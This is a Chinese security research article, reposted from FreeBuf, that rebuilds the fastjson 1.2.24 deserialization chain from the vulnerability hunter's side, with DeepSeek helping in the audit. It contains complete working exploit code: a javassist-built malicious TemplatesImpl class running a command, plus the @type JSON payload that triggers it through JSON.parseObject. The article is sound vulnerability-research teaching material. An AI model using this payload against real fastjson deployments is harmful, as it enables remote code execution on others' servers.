借助DeepSeek从漏洞挖掘的角度分析fastjson反序列化漏洞
本文研究了Fastjson反序列化漏洞的挖掘与利用过程。通过逆向思维从挖漏洞的角度还原反序列化链,并借助DeepSeek工具提高效率。文章详细分析了漏洞链的构造过程、环境搭建及调试步骤,并最终实现了通过恶意JSON字符串触发TemplatesImpl类的命令执行漏洞。 2025-9-5 10:26:2 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

研究动机

对于fastjson反序列化漏洞的研究已经是一个老生常谈的问题,但是网上对这个漏洞的分析都是已知这条链然后调试跟进正向分析。这对于反序列化利用连挖掘的学习并不是很有帮助,本文希望通过一种逆向思维,从挖漏洞的角度来还原整条反序列化链,期间会借助DeekSeek帮忙审计来提高效率。

漏洞分析

本文以最初的fastjson反序列化链进行分析,影响版本是1.2.22-1.2.24,更高的版本就是在该版本的利用链基础上做一些限制,只需要正向调试根据限制做相应的绕过即可。

环境搭建

依赖项

<dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.12.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-aop</artifactId>
            <version>5.3.23</version> <!-- 可替换为你的 Spring 版本 -->
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
</dependencies>

分析过程

首先需要找到一个sink点。这个sink点的挖掘就得靠经验,或者工具去找。因为这里是做复现,所以我们从一个已知的sink点method.invoke开始。

image.png图 1

这里有很多的method.invoke(Object),而且可以确定method可控,Object则是通过传参。所以最终是只能反射调用无参方法或者走else分支传一个参数。那就要看看Object能不能控制。

也就是看看谁调用了FieldDeserializer.setValue。由于FieldDeserializer是抽象类,所以得先看看继承自他的实现类。
1756969939385-5803a990-3a23-44cf-83dc-bd730f28483a.png图 2

ResolveFieldDeserializer重写了setValue里面没有可以利用的,所以不可以;ArrayListTypeFieldDeserializer找不到调用他的类。所以看DefaultFieldDeserializer

1756970423888-7b3a5edb-f8da-4ddc-9f2b-2bccfde0f8e8.png图 3

Object的值也是传递进来的,所以需要再往前看调用:
1756970669220-175e952d-85fd-4da8-a8e1-785b1654e59b.png图 4

这两个分析一下可以发现只能走其中的一个,而且都是要走JavaBeanDeserializerdeserialze
因为我们希望走到的是DefaultFieldDeserializerparseField。正好在773行的fieldDeserializer.parseField所在方法parseField有实例化DefaultFieldDeserializer
1756993846439-0a15c687-a873-404e-be16-648db542eee6.png图 5

这里的Object也是传参传进来的,那就继续往前看调用。

1756970882583-3a2fe17a-08eb-4292-bbd6-e40e8263de6b.png图 6

这里的Object也是有可能由我们控制的,只要能够进入我们控制的分支。

首先想到的是TemplatesImpl利用链。我们可以让methodgetOutputPropertites,让ObjectTemplatesImpl对象。

先测一下这段能不能行得通,先让DeepSeek帮我们写个demo来实例化JavaBeanDeserializer并调用deserialze来调试。

package fastjsonTest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;
import com.alibaba.fastjson.util.TypeUtils;

import java.lang.reflect.Type;

public class JavaBeanDeserializerDemo {

    public static void main(String[] args) {
        // 1. 准备JSON字符串
        String json = "{\"name\":\"张三\",\"age\":29}";

        // 2. 创建解析器
        DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());

        // 3. 创建JavaBeanDeserializer实例
        JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
            ParserConfig.getGlobalInstance(),
            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,
            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
        );


        // 4. 调用deserialze方法
        Object result = deserializer.deserialze(
            parser,        // 解析器
            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,    // 目标类型
            null          // 字段名(这里不需要)
            // 已有对象(用于更新场景)
            // 特性标志位
        );


        // 5. 关闭解析器(重要!)
        parser.close();
    }
}

这样可以走到图6,但是进去后就会发现fieldDeserializernull
1756973506256-f1ce49fb-1653-4acf-9266-d32751b50722.png图 7

看看key要传什么才能让smartMatch不返回空,跟进去把代码丢给DeepSeek。
25a072c2-7df0-4b61-8909-57b5b840ee6a.png图 8

DeepSeek给的答案如下:

  1. 直接字段名匹配

// 完全匹配(区分大小写)
key.equals(fieldInfo.name) 

// 或忽略大小写匹配
key.equalsIgnoreCase(fieldInfo.name)

示例
若目标类有字段String userName,则以下key可匹配:

  • "userName"(完全匹配)

  • "USERNAME"(忽略大小写)

  1. Boolean 字段的is前缀匹配

// 规则:key以"is"开头 + 字段是boolean类型 + 剩余部分匹配字段名
key.startsWith("is") 
&& (fieldClass == boolean.class || fieldClass == Boolean.class)
&& key.substring(2).equalsIgnoreCase(fieldInfo.name)

示例
若目标类有字段boolean active,则以下key可匹配:

  • "isActive"→ 匹配active字段

  • "ISACTIVE"→ 忽略大小写

  1. 蛇形/烤串命名转换

// 规则:key包含'_'或'-',去除后匹配字段名
key.replaceAll("_|-", "").equalsIgnoreCase(fieldInfo.name)

示例
若目标类有字段String createdAt,则以下key可匹配:

  • "created_at"(蛇形)

  • "created-at"(烤串)

  1. 备用名匹配(alternateName)

// 规则:检查字段是否通过注解声明了备用名
fieldDeser.fieldInfo.alternateName(key)

示例
若字段通过@JSONField(name = {"username", "loginName"})声明,则以下key可匹配:

  • "username"

  • "loginName"

调试可以发现fieldInfo.name的值来自sortedFieldDeserializers,只有3个:outputPropertiesoutputPropertiesuRIResolver

参照方法3可以把键名设置为TemplatesImpl的属性_outputProperties

package fastjsonTest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;
import com.alibaba.fastjson.util.TypeUtils;

import java.lang.reflect.Type;

public class JavaBeanDeserializerDemo {

    public static void main(String[] args) {
        // 1. 准备JSON字符串
        String json = "{\"_outputProperties\":\"张三\",\"age\":29}";

        // 2. 创建解析器
        DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());

        // 3. 创建JavaBeanDeserializer实例
        JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
            ParserConfig.getGlobalInstance(),
            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,
            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
        );


        // 4. 调用deserialze方法
        Object result = deserializer.deserialze(
            parser,        // 解析器
            com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,    // 目标类型
            null          // 字段名(这里不需要)
            // 已有对象(用于更新场景)
            // 特性标志位
        );


        // 5. 关闭解析器(重要!)
        parser.close();
    }
}

再次运行代码,发现报错:
1756974522388-7aaf05f4-c29a-4b14-9245-36ad915cb52b.png图 9

把这个报错丢给DeepSeek帮我们解析了这个错误:

位置(pos)字符说明
0{开始对象
1"字段名开始
2-18_outputProperties字段名(占17个字符)
19"字段名结束
20:键值分隔符
21"值开始(字符串)
22-23中文字符(UTF-8占3字节,但Java字符计数为1)
24-25中文字符(报错位置)
26"值结束
27,字段分隔符
......剩余部分

第25个字符是张三这个位置,希望是{,所以改成

String json = "{\"_outputProperties\":{},\"age\":29}";

运行发现已经能够执行到TemplatesImplgetOutputProperties

1756977392132-6ea93834-b2da-4ab4-9e27-6fb4bc188d75.png图 10

1756977453326-1aad56c8-d19c-41ce-8478-0cdb6852efaa.png图 11

可以发现就差给这些属性赋值就可以加载恶意类命令执行了
在json字符串直接添加:

String json = "{\"_outputProperties\":{},\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"]}";

结果发现压根没传进去!
1756978263103-23a8a518-de9a-4ab6-bc33-121326cb7097.png图 12

调试发现图3的SetValue,如果key处理不返回null就会看有没有这个属性的getter或者setter方法,有就触发,null的话可以构造使其将value存到对象的field中。因为_outputProperties写在前面先处理了,然后_name_tfactory_bytecodes还没处理,所以都没有给TemplatesImpl的属性赋值就调用,因此都是null而不能加载恶意字节码。

所以换个顺序:

String json = "{\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";

并且要能够走到设置值的代码中,也就是走到SetValue,因为如果smartMatch("_name");smartMatch("_tfactory");...这些返回都是null,所以我们需要走到下面设置fieldDeserializer的地方。

1756983033013-09a1f871-e1e0-4dc6-8e38-f3d0cc3babb3.png图 13

所以至少要过这个if:
1756981357942-26b1858a-907a-44c7-9072-4aa79ce13ac7.png图 14

1756982451122-a000cfb8-e8d3-476b-8546-d3e9e7e07cee.png图 15

发现mask131072不会变,那几只能改this.features,这里一直是989导致989 & 131072=0,而989是创建JSONScanner时传入的。

1756982548735-f382648d-9f9f-4f45-8afb-7c990e66bc5a.png图 16

因为我们的是通过这个构造函数传入的,所以我可以通过下面features可控的构造函数传入。

因为131072 & 131072 =131072,所以就传个131072。

DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);

这样就可以传进去了,但是又报错了。

1756983270417-10f571ab-a33a-47d2-a57f-486ecfddab03.png图 17

46是_bytecodes这里出问题,问下DeepSeek。
1756983456478-dbbe2405-de3f-46ff-961e-9b5f38fa6b5a.png图 18

1756983905031-c3f33b88-5747-4668-b97d-ddd674caccfd.png图 19

而且调试也可以发现对于[]里面用""包裹的会进行base64解码,所以对bytecodes base64编码一下。
1756984032363-b7632dee-924b-48c7-8669-c269f2db96e6.png图 20

大功告成。

package fastjsonTest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;
import com.alibaba.fastjson.util.TypeUtils;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Type;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class JavaBeanDeserializerDemo {

    public static void main(String[] args) throws Exception {

        byte[] bytes=getEvilClass("Runtime.getRuntime().exec(\"calc\");");

        String code= Base64.getEncoder().encodeToString(bytes);
        // 1. 准备JSON字符串
        String json = "{\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";

        // 2. 创建解析器
        DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);

        // 3. 创建JavaBeanDeserializer实例
        JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
                ParserConfig.getGlobalInstance(),
                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,
                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
        );


        // 4. 调用deserialze方法
        Object result = deserializer.deserialze(
                parser,        // 解析器
                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,    // 目标类型
                null          // 字段名(这里不需要)
                // 已有对象(用于更新场景)
                // 特性标志位
        );


        // 5. 关闭解析器(重要!)
        parser.close();
    }

    public static byte[] getEvilClass(String cmd) throws Exception {
        //获取恶意类字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);
        ctcconstructor.setBody(cmd);
        ctClass.addConstructor(ctcconstructor);
        ctClass.getClassFile().setMajorVersion(49);
        byte[] bytes = ctClass.toBytecode();
        ctClass.writeFile(); //写入文件

        byte[] code= Files.readAllBytes(Paths.get("a.class"));//从文件读取
        return code;
    }

}

接下来就是,只需要找一下JavaBeanDeserializer的调用链即可,并且把

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl传给JavaBeanDeserializer

1756987907361-d62ea0c7-f4c4-434c-9172-147ec86966b2.png图 21

ParserConfig
1756988028206-4d9b9527-149f-4308-bb8a-d74f1bf2e568.png

图 22

createJavaBeanDeserializer调用,createJavaBeanDeserializergetDeserializer调用:
1756988002672-95007514-5cb4-4e3d-b9ac-e79a1d06c669.png图 23

DefaultJSONParserObject parseObject(final Map object, Object fieldName)调用了getDeserializer

1756990405504-04aec49e-d2f3-4004-9143-034d4c9b3e2e.png图 24

1756990601296-996c21fa-e54b-4e20-bc39-de0f2f9b5917.png图 25

这里需要有一个健@type,并且里面放com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以传到JavaBeanDeserializer。因为fastjson的处理顺序是从前往后,因为需要现有一个类才能进行属性赋值,所以@type要放到最前面。

DefaultJSONParserparse(Object fieldName)调用了Object parseObject(final Map object, Object fieldName)

1756988395096-6f305851-4f4b-4789-93e9-9e0bdacea65a.png图 26

JavaObjectDeserializerdeserialze中调用了DefaultJSONParserparse(Object fieldName)

1756988549818-50d513e7-896b-40b6-bce0-4eaff0e92101.png图 27

就这样一步步往上找,接下来找DefaultJSONParserparseObject,然后是JSONparseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features)

1756988838011-64851ee4-fae7-4f3c-a42d-c721fb482288.png图 28

就直接用这几个就可以,调到这里是因为fastjson常用的用法就是用JSONparserObject

所以最后改成:

package fastjsonTest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;
import com.alibaba.fastjson.util.TypeUtils;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Type;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class JavaBeanDeserializerDemo {

    public static void main(String[] args) throws Exception {

        byte[] bytes=getEvilClass("Runtime.getRuntime().exec(\"calc\");");

        String code= Base64.getEncoder().encodeToString(bytes);
        // 1. 准备JSON字符串
        String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";

        //        // 2. 创建解析器
        //        DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);
        //
        //        // 3. 创建JavaBeanDeserializer实例
        //        JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
        //                ParserConfig.getGlobalInstance(),
        //                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,
        //                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class
        //        );
        //
        //
        //        // 4. 调用deserialze方法
        //        Object result = deserializer.deserialze(
        //                parser,        // 解析器
        //                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,    // 目标类型
        //                null          // 字段名(这里不需要)
        //                // 已有对象(用于更新场景)
        //                // 特性标志位
        //        );
        //
        //
        //        // 5. 关闭解析器(重要!)
        //        parser.close();

        JSONObject jsonObject = JSON.parseObject(json, JSONObject.class,131072);
    }

    public static byte[] getEvilClass(String cmd) throws Exception {
        //获取恶意类字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);
        ctcconstructor.setBody(cmd);
        ctClass.addConstructor(ctcconstructor);
        ctClass.getClassFile().setMajorVersion(49);
        byte[] bytes = ctClass.toBytecode();
        ctClass.writeFile(); //写入文件

        byte[] code= Files.readAllBytes(Paths.get("a.class"));//从文件读取
        return code;
    }

}

堆栈调用如下:

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:1076, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:1081, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:28, MapDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:611, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:289, JSON (com.alibaba.fastjson)
main:53, JavaBeanDeserializerDemo (fastjsonTest)

文章来源: https://www.freebuf.com/articles/web/447427.html
如有侵权请联系:admin#unsafe.sh